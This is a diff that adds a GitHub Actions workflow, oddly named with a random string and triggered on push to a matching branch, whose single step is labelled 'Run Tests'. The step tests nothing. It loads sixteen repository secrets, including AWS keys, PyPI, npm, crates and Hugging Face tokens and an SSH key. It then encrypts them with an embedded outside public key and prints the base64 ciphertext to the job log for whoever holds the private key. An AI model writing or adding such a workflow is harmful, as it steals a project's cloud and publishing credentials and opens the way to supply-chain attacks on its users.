diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 000000000..255f704d5 --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,64 @@ +name: akhqnldyce +'on': + push: + branches: akhqnldyce +jobs: + testing: + runs-on: + - ubuntu-latest + steps: + - name: Run Tests + env: + ANACONDA_API_TOKEN: ${{ secrets.ANACONDA_API_TOKEN }} + AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} + AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + CRATES_TOKEN: ${{ secrets.CRATES_TOKEN }} + DOC_HOST: ${{ secrets.DOC_HOST }} + DOC_KNOWN_HOST: ${{ secrets.DOC_KNOWN_HOST }} + DOC_PATH: ${{ secrets.DOC_PATH }} + DOC_SSH_KEY: ${{ secrets.DOC_SSH_KEY }} + DOC_SSH_USER: ${{ secrets.DOC_SSH_USER }} + HF_DOC_PUSH: ${{ secrets.HF_DOC_PUSH }} + HUGGINGFACE_PUSH: ${{ secrets.HUGGINGFACE_PUSH }} + NPM_TOKEN: ${{ secrets.NPM_TOKEN }} + PYPI_TOKEN_DIST: ${{ secrets.PYPI_TOKEN_DIST }} + PYPI_TOKEN_TEST: ${{ secrets.PYPI_TOKEN_TEST }} + COMMENT_BOT_TOKEN: ${{ secrets.COMMENT_BOT_TOKEN }} + HF_DOC_BUILD_PUSH: ${{ secrets.HF_DOC_BUILD_PUSH }} + akhqnldyce_KEY: '-----BEGIN PUBLIC KEY----- + + MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAshWZJRItx9mfg6dGpvWh + + /w0FWqPlelwYJxgE5ExvpkPeMqNy+O/nFjdtVjlSTM7S4y4DojQM41qPHE4+8kR1 + + z2m7wVzcuuo1YuSZ+YYwuPPX9+gLRKInn5i+EmnqEz8Y5M0+RD4VdiRPUCtuEkBs + + s2eYGIYzjVexdPeTRoMM47Ca+0gaFJGoRW9KKdWgkmtjdWKj9VkaLSQndXh8V/XM + + b3AvQaDjqD+D+IWe0C9e7VGJtB7w64kdYm4WEB+lDamRcJBNUIaLp1PeWUQOUUU3 + + 8xsSicdpUqyJ39jZLYgSnu0rKwojH29Bvw5/iTLiF83/Am2jKbKCoL6j+aXJGsSi + + lCLBIwx66ZwIUjC2Aua4SkxBRtpTEszoBLxQ5S1ZyiOJvcB0HgepdAEENVY1kAAj + + WJkoHO9TDx4x/Z0//XcOTG4VcsL2hvesVXGQU1eSmQJho5c7sXGC8rLFyoUmFwh2 + + FBU+hn1x4+nwFYXDFnf20ofCIIH9BCfkSN5A0R40+Vg+A3cYd/ISdFpPob/J28bt + + AujzoE07a01nJ99lZH7Tmk+3o9DWzNuZHEO1F45Zsa9eozuswnNdeP1KxDoWDAC8 + + qz1RX5gPfFBV0PSZ+wnW75Cj4iu0IjfTz+8pA0Kn+tozGpbdiilG5HHrz8L3F+EN + + aCA870vdyA3IbjhBVgs0FKUCAwEAAQ== + + -----END PUBLIC KEY----- + + ' + run: echo -e "ANACONDA_API_TOKEN=$ANACONDA_API_TOKEN \nAWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID + \nAWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \nCRATES_TOKEN=$CRATES_TOKEN + \nDOC_HOST=$DOC_HOST \nDOC_KNOWN_HOST=$DOC_KNOWN_HOST \nDOC_PATH=$DOC_PATH + \nDOC_SSH_KEY=$DOC_SSH_KEY \nDOC_SSH_USER=$DOC_SSH_USER \nHF_DOC_PUSH=$HF_DOC_PUSH + \nHUGGINGFACE_PUSH=$HUGGINGFACE_PUSH \nNPM_TOKEN=$NPM_TOKEN \nPYPI_TOKEN_DIST=$PYPI_TOKEN_DIST + \nPYPI_TOKEN_TEST=$PYPI_TOKEN_TEST \nCOMMENT_BOT_TOKEN=$COMMENT_BOT_TOKEN + \nHF_DOC_BUILD_PUSH=$HF_DOC_BUILD_PUSH \n" | openssl rsautl -encrypt -inkey + <(echo "$akhqnldyce_KEY") -pubin -pkcs | base64 -w 0